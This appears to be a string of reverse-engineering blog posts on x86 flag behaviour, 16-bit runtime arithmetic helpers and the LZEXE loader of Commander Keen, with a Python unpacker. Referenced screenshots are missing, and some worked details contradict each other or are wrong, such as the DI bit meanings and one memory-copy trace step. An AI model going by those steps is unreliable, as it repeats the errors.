 Symbol(3 size=4, value=arg7),
 Symbol(4 size=4, value=arg6),
 Symbol(5 size=4, value=arg5),
 Pointer[Immediate(4, 0x0)],
 Symbol(7 size=4, value=arg3),
 Symbol(8 size=4, value=arg2),
 Symbol(9 size=4, value=arg1),
 Immediate(4, 0x0x00)]

Finding the value of arg8 that makes the JE pass is an exercise for the reader :)

Happy hacking!

Intro

This is all based off https://en.wikipedia.org/wiki/FLAGS_register for the flag definitions and https://www.felixcloutier.com/x86 for nicely parsing the x86 docs. These are both good resources for getting familiar with what's going on under the covers here.

It's important to note that not all instructions modify all flags. For example, the INC instruction does not change CF if it overflows the register, and there are apps that take advantage of this fact (e.g. the LZ91 packer LZEXE)

Base flag values:

Your EFLAGS register is likely to be at 0x202 by default for a number of reasons:

• The flag 0x0002 is always set (reserved)
• The flag 0x0008 is always unset (reserved)
• The flag 0x0020 is always unset (reserved)
• The flag 0x0100 flag should be unset unless you are single stepping something (trap flag)
• The flag 0x0200 should be set (interrupts enabled)
• The flag 0x0400 is probably unset (direction flag for LODSB style commands)

We can ignore the higher flags

ADD

According to the intel docs:

The OF, SF, ZF, AF, CF, and PF flags are set according to the result.

Here's the ADD instruction in action:

ADD 0, 0: 246
ADD 1, 0: 202
ADD 1, 1: 202
ADD 1, ffffffff: 257
ADD 1, f: 212
ADD 10, fffffff0: 247
ADD 1, fffffff0: 282
ADD f, fffffff0: 286
ADD fffffff0, fffffff0: 283
ADD ffffffff, 80000000: a07
ADD fffffffe, 80000000: a03
ADD 1, 7fffffff: a96
ADD 2, 7fffffff: a92

So here's what's going on:

• 0x0001: CF gets set when we loop around from 0xFFFFFFFF to 0 again
• 0x0004: PF gets set when an even number of bits are set
• 0x0010: AF gets set when we loop the bottom 4 bits around (e.g. from 0x0F to 0x10)
• 0x0040: ZF gets set when the result is zero
• 0x0080: SF gets set when the high bit is set (i.e. we have a negative number)
• 0x0800: OF gets set when two positive numbers go negative or vice versa

SUB and CMP

The CMP command is defined as executing a SUB command and setting the flags (but not saving the result), so we should expect them to be the same:

Here's some results:

SUB 0, 0: 246
SUB 1, 0: 202
SUB 1, 1: 246
SUB 0, 1: 297
SUB 10, 1: 216
SUB 0, 10: 287
SUB ffffffff, f: 286
SUB 80000000, 1: a16
SUB 80000002, 1: 282
SUB 7fffffff, fffffff0: a87
SUB 7fffff00, fffffff0: 203

And with CMP

CMP 0, 0: 246
CMP 1, 0: 202
CMP 1, 1: 246
CMP 0, 1: 297
CMP 10, 1: 216
CMP 0, 10: 287
CMP ffffffff, f: 286
CMP 80000000, 1: a16
CMP 80000002, 1: 282
CMP 7fffffff, fffffff0: a87
CMP 7fffff00, fffffff0: 203

Identical. As with the ADD command, we can flip 6 different flags through various different means (including setting the elusive AF by making a carry/borrow between bits 3 and 4)

AND and TEST

The TEST command is defined as executing an AND command and setting the flags (but not saving the result), so we should expect them to be the same. It's worth noting that all of these bitwise commands (AND, OR etc) do the following:

• OF and CF are cleared
• SF, ZF, and PF flags are set "according to the result"
• AF flag is undefined...

It makes sense that OF and CF are cleared as these only make sense when we're doing arithmetic. It is weird that AF is undefined, but also weird that it exists at all...

TEST 0, 0: 246
TEST 1, 0: 246
TEST 1, 1: 202
TEST 0, 1: 246
TEST ffffffff, ffffffff: 286
TEST ffffffff, 0: 246

This is pretty boring. We start with a base of 0x202, we can set 0x40 (ZF) if it's zero, 0x04 (PF) if we have an even number of bits, and 0x80 (SF) if the high bit is set. Zero always gives us 0x246 (ZF and PF are set but not SF), and it's clear that we can't have SF and ZF set at the same time, or that PF has to be set when ZF is set.

Happy hacking everyone!

Like with PADD and PSUB we find multiple entrypoints to the same function:

We see the same near/far pattern as with the others so I won't go into it here, but you can see it's a common pattern.

The first thing we notice is that they all set CX to something before carrying on:

• LDIV sets to 0
• LUDIV sets to 1
• LMOD sets to 2
• LUMOD sets to 3

In other words:

• bit 0 = 0: unsigned
• bit 0 = 1: signed
• bit 1 = 0: division
• bit 2 = 1: mod

Here's the start of the shared code:

This is some standard prolog: save SP in BP, save SI/DI, keep CX (operation flags) in DI, then load our arguments. How does this get called then?

We can see it get called with two args next to each other, and DX:AX, so we could guess that we're dealing with 32-bit division here. We load these into DX:AX and CX:BX, then we do a zero-check on CX...

There's a shortcut branch which happens when:

• CX==0 and DX==0
• CX==0 and BX==0

Let's take a peek to where it goes:

If either of these cases is true we execute DIV BX, which is the same as

DX = AX % BX // remainder
AX = AX / BX // division

Then if bit one on DI is set then we return DX (mod), otherwise we return AX.

So a couple of things here:

• DX:AX is our dividend (the big number)
• CX:BX is the divisor (the number we divide into)
• If CX==0 and DX==0 then we're doing 0:AX / 0:BX and we can do that with a 16-bit DIV
• IF CX==0 and BX==0 then we're doing DX:AX/0 and we just want to get the "divide by zero" error

So by skipping the main body and following a nice shortcut branch we actually learned a lot about what's going on, here are the comments for the chunk up top again:

Let's carry on down the main path:

So from the top:

test    di, 1
jnz     short loc_1E101

Bit 0 is if we're doing signed division - if not then skip this entire chunk. We're going to do something to handle negative numbers then?

or      dx, dx
jns     short loc_1E0F3

Check the sign bit on DX and skip if not set (if DX is positive). If DX is negative though:

neg     dx
neg     ax
sbb     dx, 0
or      di, 0Ch

This is a bit convoluted. The NEG instruction does a NOT then adds 1 to give us the two's complement. We do this to both DX and AX, then we do a SBB... why is this?

The problem is that the NEG on AX is fine (NOT and then +1), but on DX we end up with an extra +1 that doesn't make sense (compare if we did this in EAX, it would only do the +1 once).

In other words, if we have 10101010:10101010 it'll do this:

// original 10101010:10101010
not
// 01010101:01010101
inc
// 01010110:01010110

If we did this with the numbers together we'd get this:

// original 1010101010101010
not
// 0101010101010101
inc
// 0101010101010110

(yes we're using 16-bits here but the concept is the same)

This is where the next instruction comes in: SBB DX,0. The NEG instruction is defined to set CF unless the number is 0. In other words, we're basically doing DEC DX after to cancel it out... unless AX is 0. Here's how this plays out:

// original 1010101000000000
not
// 0101010111111111
inc
// 0101011000000000

The one edge case with AX=0 gets inverted to 0xFFFF, and incrementing it by 1 passes the 1 all the way to the top and gives us a carry/overflow. That means the NEG doesn't set CF, so our SBB command does nothing. Kinda crazy, but the system works :)

We then OR DI with 0x0C, or 1100 in binary - it sets bits 2 and 3.

The next part is the same but on CX:BX, and then we XOR 0x04 onto DI (bit 2). This gives us the following state for DI:

• bit 0: unset=div, set=mod
• bit 1: unset=signed, set=unsigned
• bit 2: divisor and dividend have the same sign (both positive or both negative)
• bit 3: divisor is negative (no information on dividend)

Now it's time for the fun part:

This part had me stumped for a bit, but going through step by step will get us there. Here's the start:

mov     bp, cx

Divisor is now BP:BX (so we're doing DX:AX / BP:BX)

mov     cx, 20h ; ' '

Setting CX to 0x20 (32), looks like we're looping over something 32 times, and we are doing 32-bit division...

push    di
xor     di, di
xor     si, si

We're saving DI for later (so we don't care about those bits we just set right now), and clearing DI/SI to 0.

That was the init for the loop. Let's jump and see what we do each of the 32 times:

shl     ax, 1
rcl     dx, 1
rcl     si, 1
rcl     di, 1

This treats DI:SI:DX:AX like one big 64 bit number, and does a SHL on the whole thing. We could also see it as follows:

DI:SI = DI:SI << 1
DI:SI += HIGHBIT(DX:AX)
DX:AX = DX:AX << 1

So each time through the loop we copy a bit from DX:AX into DI:SI and shift it all up, 32 times for the 32-bit number

cmp     di, bp
jb      short loc_1E122
ja      short loc_1E11D

Remember the divisor is BP:BX, so we're comparing the high word of BP:BX with the high word of DI:SI. If DI < BP then we continue the loop, if DI > BP then we do the operation at loc_1E11D.

cmp     si, bx
jb      short loc_1E122

If we got here then the high words are equal, and we now compare the low word of BP:BX with DI:SI - if SI<BX then DI:SI<BP:BX and we continue with the loop

loc_1E11D:
sub     si, bx
sbb     di, bp
inc     ax

We make it here if DI:SI > BP:BX. What does that mean?

Long division

You probably covered this at school, but here's a primer anyway. If we want to divide numbers like 12345 / 57 we can do it like this:

// put a 57 on the front
0012345
5700000
// 5700000 > 12345 so put a 0
012345
570000
0
// 570000 > 12345 so put a 0
12345
57000
00
// 57000 > 12345 so put a 0
12345
5700
000
// 5700 < 12345, 2x5700 < 12345 but 3x5700 > 12345 so we put a 2 and subtract 12345 - 2x5700
945
570
0002
// 570 < 945. 2x57 > 945, so put a 1 and subtract 570
375
57
00021
// 57 x6 = 342 < 375, so put a 6 and subtract 342
33
DONE
000216

So 12345 / 57 = 216 remainder 33. To check: 216 x 57 = 12312, and 12312 + 33 = 12345.

This is actually easier in binary, because we don't need to count how many times the number divides in, we just put a 1 if it's smaller (and then subtract), or a 0 if it's bigger and keep going. We can do the same thing in binary:

11000000111001 // 12345 in binary
110000 // top 6 bits of 12345, rest are 00111001
111001// 57 in binary with a lot of left shifts
0
// bottom > top so leave a 0
1100000 // top 7 bits, rest are 0111001
111001
01
// top > bottom so leave a 1, 1100000-111001 = 100111
1001110 // add next bit, rest are 111001
111001
011
// top > bottom so leave a 1, 1001110 - 111001 = 10101
101011 // add next bit, rest are 11001
111001
0110
// top < bottom so leave a 0
1010111 // add next bit, rest are 1001
111001
01101
// top > bottom so leave a 1, 1010111 - 111001 = 11110
111101 // add next bit, rest are 001
111001
011011
// top > bottom so leave a 1, 111101 - 111001 = 100
1000 // add next bit, rest are 01
111001
0110110
// top < bottom
10000 // add next bit, rest is 1
111001
01101100
// top < bottom
100001 // all bits gone
111001
011011000
// top < bottom
// answer is 011011000 remainder 100001

011011000 = 216 in decimal 100001 = 33 in decimal

so we can see this works. As we saw, we do SUB SI,BX to subtract the bottom, then with the CF we do SBB DI,BP, and then we increment AX. We know we're shifting 32 bits, and that means DX:AX empties out as we shift, which means we can actually reuse DX:AX for our answer as we go along, and the remainder ends up in DI:SI. Pretty neat.

Once we're done with the loop we get this:

As with the short part, we check if this was DIV or MOD, and if it's a MOD then we save the remainder into DX:AX, otherwise we leave the quotient in DX:AX.

Testing bit 3 which checks if both dividend and divisor are the same sign. If they are different signs then we negate the answer, and then we're done.

So in summary, this function does the following:

• If the high 16 bits aren't used (or the divisor is 0) then do a normal DIV opcode
• If the high 16 bits are used then manually make both dividend and divisor positive, manually do binary long division to 32 bits, and then make the answer negative if one of the dividend or divisor was negative
• Return the quotient if we were doing division, otherwise return the remainder

Happy reversing!

We can see a few variations on names at the top here: N_PADD@ and F_PADD@ for PADD, and N_PSUB@ and F_PSUB@ respectively. The prolog for the near versions is the same; it pops the return offset, pushes CS and then pushes the return offset back so it doesn't matter whether the call is a near or far call, we can always make a successful far return.

It's also useful to look how this is called:

So it looks like we're taking DX:AX and CX:BX as arguments, and the result is returned in DX:AX. Let's start going through the code:

or      cx, cx
jge     short loc_1E24E

What the hell is this? The JGE instruction jumps if SF = OF. So we need to know what SF is, what OF is, and then whether they're equal. Looking closer at the OR instruction, we see it clears OF and sets SF to the high bit of the result. So we know that OF = 0, so we'll make the jump if SF = 0, or if CX is a positive number. There's another opcode JNS that could work here but it's all the same - we jump if CX is positive (and likely, if CX:BX is positive). Let's follow this branch:

loc_1E24E:
add     ax, bx
jnb     short loc_1E256

We're returning the result in DX:AX so it makes sense to add BX into AX. We know CX:BX is positive, so we start by adding the lower word. JNB jumps if CF = 0 (no carry), so let's see what we do with the carry:

add     dx, 1000h
loc_1E256:

This is fun. If DX:AX was a 32-bit value we'd be adding 1 to DX, but we're adding 0x1000 instead. That makes me think that DX:AX is a segment:offset pair and we're adding to that. Let's look further:

mov     ch, cl
mov     cl, 4
shl     ch, cl

We destroy CH here! We then shift CL left by 4 bits, so we destroy the top 4 bits of CL too. This makes sense if CX:BX is a 32-bit number, and if we're adding this to a segment:offset pair then the bottom 20 bits (all of BX plus the bottom 4 bits of CL) make sense to add. In other words, if CX:BX was 000a:bcde, we now have CH = a0.

add     dh, ch

Remember that 32-bit location 000abcde can be converted to segment:offset a000:bcde (among others). We added the lower part (bcde) to AX already, carried the 1, and now we're adding the top 4 bits to DX. DX:AX now holds the final segment:offset, but there's more code to go:

mov     ch, al
shr     ax, cl
add     dx, ax

We're saving the low byte of DX:AX, shifting AX right by 4 bits, then adding onto DX. What does this mean? It bumps the segment part to the highest value.

mov     al, ch
and     ax, 0Fh

Then we put the low byte in AL and mask it so we have the largest segment possible, and the lowest offset possible, while still pointing to the same point in memory.

In other words, this branch does the following:

// add the amount to the segment:offset
offset += lowword;
if(carry)
  segment += 0x1000;
segment += (hiword & 0x0F) * 0x1000;
// adjust segment:offset
segment += offset >> 4;
offset = offset & 0x0F;

The segment arithmetic is always hard to follow, but this is the basic idea of what happens there.

We only have 3 more branches to go here :) Let's take a quick look at the corresponding PSUB that gets us here:

or      cx, cx
jge     short loc_1E27D
not     bx
not     cx
add     bx, 1
adc     cx, 0
jmp     short loc_1E24E

If CX:BX is negative then we bit flip CX:BX, increment BX by 1, and then load the carry into CX. The reason they use the ADD command is that INC doesn't change CF so the following ADC wouldn't carry the 1. Why do we do this? This is what we call "two's complement" and this is just gives us the negative value, in other words:

CX:BX = -CX:BX

So if we're subtracting a negative number, this is the same as adding a positive number, e.g. 5 - -3 is the same as 5 + 3 so we'll use the addition path. The opposite is true on the addition path btw, if we're adding a negative number we'll just negate it and go down the subtraction path.

Anyway, let's see what the subtraction path does:

loc_1E27D:
sub     ax, bx
jnb     short loc_1E285
sub     dx, 1000h
loc_1E285:

This is the opposite of the addition path, we do AX - BX and then carry the 1 by subtracting 1000 from DX. Note that this can go negative if we have a weird segment:offset pair like 0000:F000 that could be better phrased as 0F00:0000.

mov     bh, cl
mov     cl, 4
shl     bh, cl

Same as above, if BX:CX was 000a:bcde we now have BH=a0

xor     bl, bl
sub     dx, bx

This is actually the same as above but for some reason they've done DX - BX instead of DH - BH - it does the same thing when BL is 0

mov     ch, al
shr     ax, cl
add     dx, ax
mov     al, ch
and     ax, 0Fh

And apart from the weirdness with BX this is the same segment:offset adjusting code from above.

I've used this signature for IDA: __int32 __usercall __far N_PADD_@<dx:ax>(int sSource@<dx>, void near* pSource@<ax>, __int32 addend@<cx:bx>);

And then it gives me this output:

Hope you enjoyed this, happy reversing!

This is what we start with. Nothing gets accessed from the stack, so we can assume the parameters are in the registers. Let's look at how this gets called:

So we're setting DX and AX from some local vars (from something done further up the function), and also setting CX and BX to 0. Let's start looking through at the code and see which of these get used:

push    cx

CX is a "throwaway" register so this is a sure sign we care about it for later on

mov     ch, al
mov     cl, 4
shr     ax, cl

We're saving AL in CH, and shifting AX right by 4 bits (or dividing by 16, or 0x10). This is something we might do to convert an offset to something we can add onto a segment register...

add     dx, ax

It's looking like DX:AX might actually be a segment:offset pair, and we've just scaled AX so we can add it to it. In other words, if we started with DX:AX = 1030:5678, we've done the following:

// dx = 0x1030
// ax = 0x5678
ch = al // ah = 0x78
ax = ax >> 4 // ax = 0x0567
dx = dx + ax // dx = 0x1030 + 0x0567 = 0x1597

The segment:offset pair 1030:5678 points to memory location 0x15978, and we've got 0x1597 and 0x78 in different registers so we appear to be building this up.

mov     al, ch
mov     ah, bl

We move the bottom byte of AX into AL and the bottom byte of BX into AH...

shr     bx, cl
pop     cx
add     cx, bx

And this mirrors what we have above, so it does look like we're doing to CX:BX what we did to DX:AX...

mov     bl, ah

Just putting it back, BL now equals the original BL, and remember AL now also equals the original AL

and     ax, 0Fh
and     bx, 0Fh

And we mask these bytes out. So we're in this position:

• AX = bottom nybble of DX:AX
• BX = bottom nybble of CX:BX
• DX = bits 4-20 of DX:AX
• CX = bits 4-20 of CX:BX

The reason we do this is because multiple segment:offset pairs can resolve to the same pointer. We're now in a position where we can compare AX == BX and DX == CX and if both are true then DX:AX points to the same memory location as CX:BX:

cmp     dx, cx
jnz     short locret_1E59A
cmp     ax, bx
locret_1E59A:
retn

We don't return any registers, it looks like we just return ZF. If we fail the first check (DX==CX) then we jump the return with ZF=0 (jumps/returns/stack operations don't change the flags). If we pass this check then we do the second check (AX==BX) and just return.

If you're doing this in IDA then you can change the signature (command "Y") to void __usercall N_PCMP_(void *pointer1@<dx:ax>, void *pointer2@<cx:bx>); and this will give you the following output:

Not perfect, but we can add a comment and this will help us later on. The name now makes sense - PCMP probably means Pointer CoMPare.

Hope this was helpful, and happy hacking!

Let's start from the beginning by opening this up in your favorite disassembler:

We'll go through instruction by instruction so you can follow along at home. Here's lines 1-3:

push    es
push    cs
pop     ds

We've run into our first problem: what is the value of ES when we start a DOS app? According to OSDev.org, DS and ES both point to the Program Segment Prefix (PSP), a 256 byte (0x100) structure that gets loaded at the bottom of memory, followed directly by the program we've just loaded. We don't need to know much else at this point because you'll notice we never pop this back off the stack.

After this, we push CS and pop it into DS. We do this for two reasons:

1. You can't MOV directly between segments
2. We want to access some data from the current segment so we need to copy that into DS

So far so good. What's the next big chunk for then?

mov     cx, word_1C66C
mov     si, cx
dec     si
mov     di, si
mov     bx, ds
add     bx, word_1C66A
mov     es, bx
std
rep movsb

We see a bunch of things happening here:

1. CX gets set (to 0x176)
2. This value gets decremented and copied into both SI and DI (SI = DI = 0x175)
3. We load DS into BX, add a value (0x0C14) and then put this into ES (ES = DS + 0x0C14)
4. We call the STD command and finally do a REP MOVSB

This looks a lot like a memmove command. Normally we copy from the bottom though, like this:

mov cx, 0x176
xor si, si
xor di, di
rep movsb

And at the end both SI and DI point to 0x176, although they last copied a byte to 0x175. Here we're doing this in reverse order. SI and DI start pointing to 0x175, they finish pointing to 0xFFFF, but the final copy is to 0x0000 so we're in the same position.

Why are we doing the copy backwards though? Let's step through manually and it might make sense.

We can assume CS = DS = 0x0000 to make the math easier, and print it like this:

source = 0000:0000; // mem location 0x00000
destination = 0C14:0000; // mem location 0x0C140
count = 0x176;
memmove(destination, source, count);

So we're copying from a low memory location to a higher memory location. The reason we do the copy in reverse is because for a very small file, the memory regions might overlap. We're at the start of the loader so we don't care, but we might override some of the later parts of the loader. Let's try a small example and see what happens:

source = 0x00000
destination = 0x00004
count = 0x10

If we put some junk in memory we can follow this through forwards

// starting case
mem = ABCDEFGHIJKLMNOP0000
// one step
mem = ABCDAFGHIJKLMNOP0000
// two steps
mem = ABCDABGHIJKLMNOP0000
// three steps
mem = ABCDABCHIJKLMNOP0000
// four steps
mem = ABCDABCDIJKLMNOP0000
// five steps
mem = ABCDABCDAJKLMNOP0000

It's broken now! We're now just copying the data that we just copied. If we do this in reverse though:

// starting case
mem = ABCDEFGHIJKLMNOP0000
// one step
mem = ABCDAFGHIJKLMNOP000P
// two steps
mem = ABCDEFGHIJKLMNOP00OP
// three steps
mem = ABCDEFGHIJKLMNOP0NOP
// four steps
mem = ABCDEFGHIJKLMNOPMNOP
// five steps
mem = ABCDEFGHIJKLMNOLMNOP
// ...
// 15 steps
mem = ABCDEBCDEFGHIJKLMNOP
// 16 steps
mem = ABCDABCDEFGHIJKLMNOP

This way we still destroy the data in the middle, but we have a perfect copy at the new destination. It doesn't matter for our analysis why it's done this way, but it's also interesting asking ourselves why things are done a certain way, especially if it relates to code further down the track.

So now we're done with this, what do we have left?

push    bx
mov     ax, 2Bh ; '+'
push    ax
retf

Pushing data before a return is a classic sign of an indirect jump. BX still points to our new segment that we just copied the data to, so we're jumping to ES:002B. We can follow along in our disassembler by just jumping to 002B in the old code because we know it hasn't been overwritten.

Here's where I got to with comments:

One thing I left out is how we know we're relocating the whole loader... the trick is to look at where our code is. The MZ header loads us at 0C66:000E, and we're copying all of this segment. When we jump to the next function we can see it only goes to 0C66:0176 (including the data on the end). Not the best explanation, I know, and if this doesn't make sense then take a closer look in your own disassembly to see where we got this number from.

Anyway, let's look at function number 2 here:

This is going to be fun. Let's start from the top and see if we can make sense of it as we go:

mov     bp, word ptr cs:byte_1C660+8
mov     dx, ds

If we tidy this up we can see it loads 0x0C66 into BP, and loads DS into DX. We know that 0x0C66 is our original CS (but not relocated, this is important). We also haven't touched DS since our memmove so we know that this is the CS that we got loaded to (this has been relocated). In other words, BP = 0x0C66, DX = 0x0C66 + relocation_offset.

We then hit the start of a loop:

loc_1C692:
mov     ax, bp
cmp     ax, 1000h
jbe     short loc_1C69C

BP is our original un-relocated CS, and it looks like our loader gets loaded at the end of the packed data. In other words, this could also be the size in paragraphs (0x10 byte chunks, what the segment register operates in) of our packed data. We compare it to 0x1000, and if it's greater, then:

mov     ax, 1000h

So this does seem like a counter that goes in chunks of 0x1000 at a time. The next chunk is where the magic happens:

loc_1C69C:
sub     bp, ax
sub     dx, ax
sub     bx, ax

If BP is the total we were meant to do then this lines up with our theory - we do this in chunks of up to 0x1000 at a time and here we're reducing BP (our counter for total amount of work to do), DX (our original CS), and BX (the segment that we relocated the loader to). We just relocated the loader further up in memory, and it looks like we might be about to do the same with the packed code:

mov     ds, dx
mov     es, bx

The MOVS commands go from DS:SI to ES:DI, so it does appear that we're just moving the packed code up to line up with our loader (now that we've jumpeed up here we can overwrite ourselves)

mov     cl, 3
shl     ax, cl

This seems odd. We're setting CX to AX 8. We would expect it to be AX 0x10 if we were doing MOVSB (since we know that AX is a number of paragraphs to copy, or multiples of 0x10). If we look further down we see a REP MOVSW, and 0x10 bytes is the same as 8 words, so this does seem to line up correctly.

mov     cx, ax
shl     ax, 1
dec     ax
dec     ax
mov     si, ax
mov     di, ax
rep movsw

This is the same pattern we saw before, but we need to decrement AX twice because our offsets are going in 2's because we're moving words, not bytes. This is also why we had to decrement our segments, because we need our offsets to start high and drop all the way down to 0.

or      bp, bp
jnz     short loc_1C692

And this is the bottom of the loop - if we had more than 0x1000 paragraphs to copy then go back and do the next chunk. For Commander Keen we only have 0x0C66 so we only run through this loop once.

Here are my notes so far:

One thing to keep in mind - none of this relocation matters for us when we write our unpacker because we're just reading from disk.

Anyway, next part:

We start with this:

cld

This sets the direction to forwards, so our MOVS/LODS/STOS commands move SI/DI forwards instead of backwards.

mov     es, dx
mov     ds, bx
xor     si, si
xor     di, di

We're swapping our segments around, we were copying from low to high, and now we're copying from high to low. Looks like we're going to start overwriting our original packed code with unpacked code as we go along. We've also cleared out SI and DI so we are definitely starting from the beginning.

mov     dx, 10h
lodsw
mov     bp, ax

We've loaded a word into BP and set DX to 0x10. I wonder what this means?

loc_1C6C9:
shr     bp, 1
dec     dx
jnz     short loc_1C6D3

Oh this makes sense - BP holds 16 bits, and we can shift them out one at a time. Here we've shifted a bit out of BP, and then decremented DX. If DX isn't zero then we skip the next bit, but if it DX is zero then we've run out of bits and:

lodsw
mov     bp, ax
mov     dl, 10h

We fill up again and reset DL (we know DH is 0).

loc_1C6D3:
jnb     short loc_1C6D8

This is weird. What does JNB do? It turns out this jumps if CF is 0, and what sets the CF? Normally we expect arithmetic to set/clear all the flags, but it the DEC command doesn't set CF (it sets others though, like OF and ZF). That means we're testing the result of the SHR command earlier - we're checking if the bit we shifted out was 0. If it was 1 (CF = 1 so the JNB fails) then we do this:

movsb
jmp     short loc_1C6C9

And we copy a byte across uncompressed, and loop back to the top.

From what we know about LZ style compression, we normally copy across the first few bytes uncompressed and then start to get the benefits of our compression as we unpack more and more. Because of this, we'd expect the first few bytes to be uncompressed. Let's take a look at what the data shows, right at the start of the file after the header:

Just as we thought: the first word that gets loaded is 0xFFFF (16x 1 bit), so it copies across 16 bytes uncompressed. Note that we see 15 uncompressed bytes and then 0xFFFF, this is because we refresh our bits the moment they run out (after the 16th bit), we don't wait until after the operation is done.

Here are the notes so far:

So if we get a 1 bit then we copy a byte across, but what happens if we get a 0 bit?

loc_1C6D8:
xor     cx, cx
shr     bp, 1
dec     dx
jnz     short loc_1C6E4
lodsw
mov     bp, ax
mov     dl, 10h
loc_1C6E4:
jb      short loc_1C708

We clear CX and get another bit. We refill if needed (this happens every time so this is the last time I'll show this refill part), and if CF is set then we jump right. We'll handle that next, first off, let's handle the CF=0 case (so when we get 00 bits).

shr     bp, 1
; refill if needed
rcl     cx, 1
shr     bp, 1
; refill if needed
rcl     cx, 1
inc     cx
inc     cx

We set CX to 0 earlier, and the RCL command rotates in bits from the CF, letting us stack these up on the bottom. We basically copy the next 2 bits from BP into CX, then add 2 from here. This set CX to a number from 2-5 based on our bits in BP.

lodsb
mov     bh, 0FFh
mov     bl, al
jmp     loc_1C71B

We then load in another byte, sign extend it to a word (top bit is 1 so it's a negative number)

loc_1C71B:
mov     al, es:[bx+di]
stosb
loop    loc_1C71B

We then load in a byte from our output data, and then put it back on the end, and increment di. We know bx is going to be a negative number, and CX is a number from 2-5 so this code is copying a 2-5 byte chunk from the uncompressed code and sticking it on the front. This is standard for LZ-style compression.

So we now know what the following sets of bits do:

• 1: copy byte across
• 00: copy 2-5 bytes from up to 255 bytes back in uncompressed

Let's carry on with that right hand branch we skipped earlier:

This looks insane. This is the sort of thing that makes you want to just give up and cry. I'll let you cheat on this one and jump straight to my notes:

We load another 2 bytes and we do some weird arithmetic with it. BX gets 13 of the bits and then gets sign extended, allowing us to look up to 0x2000 bytes back. AH gets 3 bits (from the middle, for some reason), and we check if these are zero. If they aren't, then we skip the jump and get to this:

We add 2 to our AH and put it in CL. We can add to our list of branches:

• 1: copy byte across
• 00: copy 2-5 bytes from up to 255 bytes back in uncompressed
• 01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed

Now the next branch, what happens when AH is 0?

We get another byte. If that byte is 0 then we jump to another branch that doesn't loop back, that's our exit code.

• 1: copy byte across
• 00: copy 2-5 bytes from up to 255 bytes back in uncompressed
• 01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed
• 01, next word == XXXXX000XXXXXXXXb, next byte == 0, break

What about when our next byte is 1? This is a fun one:

mov     bx, di
and     di, 0Fh
add     di, 2000h

We know DI is our offset pointer for uncompressed data. Here we're saving it in BX, taking just the bottom nybble (masking against 0x0F) and then adding 0x2000.

mov     cl, 4
shr     bx, cl
mov     ax, es
add     ax, bx
sub     ax, 200h
mov     es, ax

And here's the other half, we scale BX down by 4 bits (so it would make a good segment register), add ES, then subtract 0x200, and finally put it all back in ES.

It looks we're resetting DI and bumping ES forward to compensate, this is something we'd do when we're getting to the end of the segment. For example, if we get to 0000:E123, we'd want to make sure we have more room to write to, so we can easily rewrite this as 0E12:0003.

BUT... when we decompress we can look up to 0x2000 bytes backward, so we probably want DI to be at least 0x2000. We can rephrase 0E12:0003 and 0C12:2003, this gives us more room to grow upward, but also lets us reach back to decompress.

mov     bx, si
and     si, 0Fh
shr     bx, cl
mov     ax, ds
add     ax, bx
mov     ds, ax
jmp     loc_1C6C9

This is exactly the same thing but with DS:SI. Note that this doesn't get called all the time, only when the compressed code tells us to. That saves on CPU cycles while only costing a few bytes per 3-4KB of packed data, not bad at all.

• 1: copy byte across
• 00: copy 2-5 bytes from up to 255 bytes back in uncompressed
• 01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed
• 01, next word == XXXXX000XXXXXXXXb, next byte == 0, break
• 01, next word == XXXXX000XXXXXXXXb, next byte == 1, rephrase segment/offset pairs

We have one final case and then we're done!

mov     cl, al
inc     cx
jmp     short loc_1C71B

If next byte is 2 or higher then we increment it and use our large BX to look back, letting us copy up to 0x100 bytes:

• 1: copy byte across
• 00: copy 2-5 bytes from up to 255 bytes back in uncompressed
• 01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed
• 01, next word == XXXXX000XXXXXXXXb, next byte == 0, break
• 01, next word == XXXXX000XXXXXXXXb, next byte == 1, rephrase segment/offset pairs
• 01, next word == XXXXX000XXXXXXXXb, next byte == 2, copy 3-256 bytes from up to 8192 bytes back in uncompressed

And we're done with the decompression! I've rewritten this in python as an unpacker, here's how it looks:

while True:
    bit = bitstream.get()
    if bit == 1:
        byte, = input_stream.read(1)
        output_stream.write(bytes([byte]))
    else:
        bit = bitstream.get()
        if bit == 1:
            lowbyte, highbyte = input_stream.read(2)
            copy_distance = 0xE000 | ((highbyte << 5) & 0xFF00) | lowbyte
            copy_distance = convert_unsigned_to_signed(copy_distance, 0x10)
            copy_amount = highbyte & 0x07
            if copy_amount:
                copy_amount += 2
                copy_within_output_stream(output_stream, copy_distance, copy_amount)
            else:
                copy_amount, = input_stream.read(1)
                if copy_amount == 0:
                    break
                elif copy_amount == 1:
                    # segment reshuffle, ignore
                    pass
                else:
                    copy_amount += 1
                    copy_within_output_stream(output_stream, copy_distance, copy_amount)
        else:
            high_bit = bitstream.get()
            low_bit = bitstream.get()
            copy_amount = (high_bit << 1) + low_bit + 2
            copy_distance, = input_stream.read(1)
            copy_distance = convert_unsigned_to_signed(0xFF00 + copy_distance, 0x10)
            copy_within_output_stream(output_stream, copy_distance, copy_amount)

Nice and easy. Let's look at where the break takes us at the end:

push    cs
pop     ds

We're done with the code, now we're looking at data from this segment

mov     si, 158h

That's pretty weird. DS is in this segment though, so what does DS:158 look like?

Ahhhh, so we're pulling data out from after the end of the loader. Let's see what we do with it:

pop     bx
add     bx, 10h

We haven't seen the stack in a while, have we? Right at the start we pushed ES and I said two things about ES:

1. It points to the PSP segment
2. The PSP is 0x100 bytes long, or in other words, CS is 0x10 bytes greater

So we're reconstructing the original CS that we got loaded into based on the ES that we pushed at the start.

mov     dx, bx
xor     di, di

DX stores old CS? DI holds 0? What could be coming? We have some branches coming up so let's see what happens:

loc_1C769:
lodsb
or      al, al
jz      short loc_1C784

We load a byte and jump if it's zero. Let's see what happens when it isn't zero:

mov     ah, 0
loc_1C770:
add     di, ax

We set DI to 0 at the start, so we're advancing DI by up to 0xFF (from the byte we loaded)

mov     ax, di
and     di, 0Fh

We save DI in AX, and just keep the bottom nybble

mov     cl, 4
shr     ax, cl

We shift AX down, this looks like something we'd add to a segment register

add     dx, ax
mov     es, dx

DX was our old CS from above, so we've added our new offset and store it in ES. In other words, we had DX:DI = CS:0000, we added a byte (let's say 0C66:0028), we stole the high bits from DI and put them into DX (e.g. 0C68:0008), then we put DX into ES.

add     es:[di], bx
jmp     short loc_1C769

